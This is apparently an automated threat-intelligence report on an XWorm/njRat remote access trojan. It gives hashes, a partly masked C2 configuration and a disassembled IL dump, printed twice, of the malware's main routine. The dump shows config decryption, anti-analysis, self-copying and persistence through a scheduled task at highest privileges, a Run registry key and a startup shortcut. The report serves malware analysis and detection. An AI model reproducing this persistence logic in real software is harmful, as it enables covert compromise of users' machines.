Deep Malware Analysis of 2ae734f7ba08ad957dc402cbf8e066a3 | md5: 2ae734f7ba08ad957dc402cbf8e066a3 | RAT | njRat | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.23 | XWorm

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	2ae734f7ba08ad957dc402cbf8e066a3
Sha1	9f7237f619bec26c47fd0eb2f93e927326d05a77
Sha256	9de5fbbf514b8c0d56c5527fce70e9e5eb91f50ab72ab156d29b35535c8f2a6d
Sha384	120bd83d47564fc0d6ad4af0da2c8585bd67a81f75c22245764c4422c39d922d78fcb9d914ed9468ba517e32921fd091
Sha512	a6f551f8620bef333ff899a1b2d991e2b496ef95f1ee2cb5998fac43d65db208c3b6e6c98c7327374a29d1e6003009c41e26fc5b3ad532eaabbee1be764f27c6
SSDeep	384:dJmh6jJkp49fDuEP37zPbQm2/noL+vAMsfQ1RYpkFTBLT39Y0ZwRJziKUV+is2UZ:jmkX9FbQmgnM+XsfmJF19LWO/hzn/7+
TLSH	84F23A48B7A14222D5FEAFF959B2A1460674E613DD13EF5E0CE845DB1F27BC08E013A6

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Malware Configuration - XWorm config.

Config. Field0	Value
Mutex	RKfMihuhuhuhuhuhuhu
Hosts	tcp.chuhuhuhuhuhuhu
Port	1huhuhuhu
KEY	<6huhuhuhu
USBNM	<XWhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Informations

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	xano.exe
Full Name	xano.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	xano.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	xano
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	197
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00EE: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	xano.exe
Full Name	xano.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	xano.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	xano
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	197
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00EE: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts

Name	Value
Mutex	RKfMihuhuhuhuhuhuhu
CnC	tcp.chuhuhuhuhuhuhu
Port	1huhuhuhu

Full artefact values (URLs, paths, registry keys…) are available with Essential.

Unlock with Essential

2ae734f7ba08ad957dc402cbf8e066a3 (37.38 KB)

Name	Value	Location
Mutex	RKfMihuhuhuhuhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3
CnC	tcp.chuhuhuhuhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3
Port	1huhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3